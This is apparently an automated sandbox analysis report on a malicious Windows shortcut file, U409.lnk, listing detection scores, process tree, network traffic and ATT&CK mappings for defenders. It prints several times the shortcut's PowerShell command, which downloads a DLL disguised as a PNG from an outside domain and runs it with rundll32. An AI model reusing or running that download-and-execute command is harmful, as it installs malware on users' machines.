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Windows Analysis Report
U409.lnk

Overview

General Information

Sample Name:	U409.lnk
Analysis ID:	626149
MD5:	d4bda79d6f9b6edc1de19675054412bc
SHA1:	1121c9c0977f67d605e5dcf740f5f5a8465c0f1d
SHA256:	32add7446a9293f42c2db5b95afa2d722fb0b8a94baa6d4804e5d652a897fd7c
Tags:	lnk
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus detection for URL or domain

Windows shortcut file (LNK) starts blacklisted processes

Found URL in windows shortcut file (LNK)

Suspicious powershell command line found

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Queries the volume information (name, serial number etc) of a device

Uses a known web browser user agent for HTTP communication

May sleep (evasive loops) to hinder dynamic analysis

Internet Provider seen in connection with other malware

Detected potential crypto function

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Enables debug privileges

Classification

Process Tree

System is w10x64

powershell.exe (PID: 5236 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest https://focusagd.net/4REat6sBv0/1.png -OutFile $env:TEMP\file120.dll;Start-Process rundll32 $env:TEMP\file120.dll,DllInstall MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 6208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

rundll32.exe (PID: 3108 cmdline: "C:\Windows\system32\rundll32.exe" C:\Users\user\AppData\Local\Temp\file120.dll DllInstall MD5: 73C519F050C20580F8A62C849D49215A)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: U409.lnk	Virustotal: Detection: 30%			Perma Link
Source: U409.lnk	ReversingLabs: Detection: 26%

Antivirus detection for URL or domain

Source: https://focusagd.net/4REat6sBv0/1.png

Avira URL Cloud: Label: malware

Source: unknown

HTTPS traffic detected: 192.185.131.124:443 -> 192.168.2.5:49747 version: TLS 1.0

Source: global traffic

HTTP traffic detected: GET /4REat6sBv0/1.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: focusagd.netConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: unknown

HTTPS traffic detected: 192.185.131.124:443 -> 192.168.2.5:49747 version: TLS 1.0

Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747

Source: powershell.exe, 00000000.00000002.461352911.000001B2AC758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000000.00000002.457054218.000001B29538C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://focusagd.net
Source: powershell.exe, 00000000.00000002.461042349.000001B2A4685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000000.00000002.452491884.000001B294832000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.452137911.000001B294621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000000.00000002.452491884.000001B294832000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000000.00000002.461042349.000001B2A4685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000000.00000002.461042349.000001B2A4685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000000.00000002.461042349.000001B2A4685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000000.00000002.457013853.000001B295377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://focusagd.net
Source: PowerShell_transcript.305090.0TyhnxeB.20220513164423.txt.0.dr	String found in binary or memory: https://focusagd.net/4REat6sBv0/1.png
Source: powershell.exe, 00000000.00000002.461543157.000001B2ACA6B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.451743155.000001B292700000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.451773245.000001B29275A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.451955432.000001B2929B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://focusagd.net/4REat6sBv0/1.png-OutFile$env:TEMP
Source: powershell.exe, 00000000.00000002.452491884.000001B294832000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://focusagd.net/4REat6sBv0/1.png0y
Source: powershell.exe, 00000000.00000002.451842036.000001B292777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://focusagd.net/4REat6sBv0/1.png1.0
Source: powershell.exe, 00000000.00000002.457013853.000001B295377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://focusagd.netx
Source: powershell.exe, 00000000.00000002.452491884.000001B294832000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.460661565.000001B295B6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000000.00000002.461042349.000001B2A4685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown

DNS traffic detected: queries for: focusagd.net

Source: global traffic

HTTP traffic detected: GET /4REat6sBv0/1.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: focusagd.netConnection: Keep-Alive

System Summary

Found URL in windows shortcut file (LNK)

Source: Initial file

Strings: https://focusagd.net/4REat6sBv0/1.png

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FF9F1B30CBD		0_2_00007FF9F1B30CBD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FF9F1B31878		0_2_00007FF9F1B31878

Source: U409.lnk	Virustotal: Detection: 30%
Source: U409.lnk	ReversingLabs: Detection: 26%

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Users\user\AppData\Local\Temp\file120.dll DllInstall

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest https://focusagd.net/4REat6sBv0/1.png -OutFile $env:TEMP\file120.dll;Start-Process rundll32 $env:TEMP\file120.dll,DllInstall
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Users\user\AppData\Local\Temp\file120.dll DllInstall
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Users\user\AppData\Local\Temp\file120.dll DllInstall	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\Documents\20220513

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wyctevpv.ahu.ps1

Jump to behavior

Source: classification engine

Classification label: mal72.rans.winLNK@4/6@1/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

Suspicious powershell command line found

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest https://focusagd.net/4REat6sBv0/1.png -OutFile $env:TEMP\file120.dll;Start-Process rundll32 $env:TEMP\file120.dll,DllInstall

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6870			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2595			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6560	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6552	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4240	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3412	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4084	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000000.00000002.461494127.000001B2ACA0E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Users\user\AppData\Local\Temp\file120.dll DllInstall

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 PowerShell	Path Interception	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	11 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Rundll32	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	13 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	11 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
U409.lnk	31%	Virustotal		Browse
U409.lnk	27%	ReversingLabs	Win32.Trojan.GenAutorunLnkFile

Source	Detection	Scanner	Label	Link
focusagd.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://focusagd.net/4REat6sBv0/1.png	2%	Virustotal		Browse
https://focusagd.net/4REat6sBv0/1.png	100%	Avira URL Cloud	malware
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://focusagd.net/4REat6sBv0/1.png0y	0%	Avira URL Cloud	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://focusagd.net	0%	Virustotal		Browse
http://focusagd.net	0%	Avira URL Cloud	safe
https://focusagd.net/4REat6sBv0/1.png-OutFile$env:TEMP	0%	Avira URL Cloud	safe
https://focusagd.net	0%	Avira URL Cloud	safe
https://focusagd.net/4REat6sBv0/1.png1.0	0%	Avira URL Cloud	safe
https://focusagd.netx	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
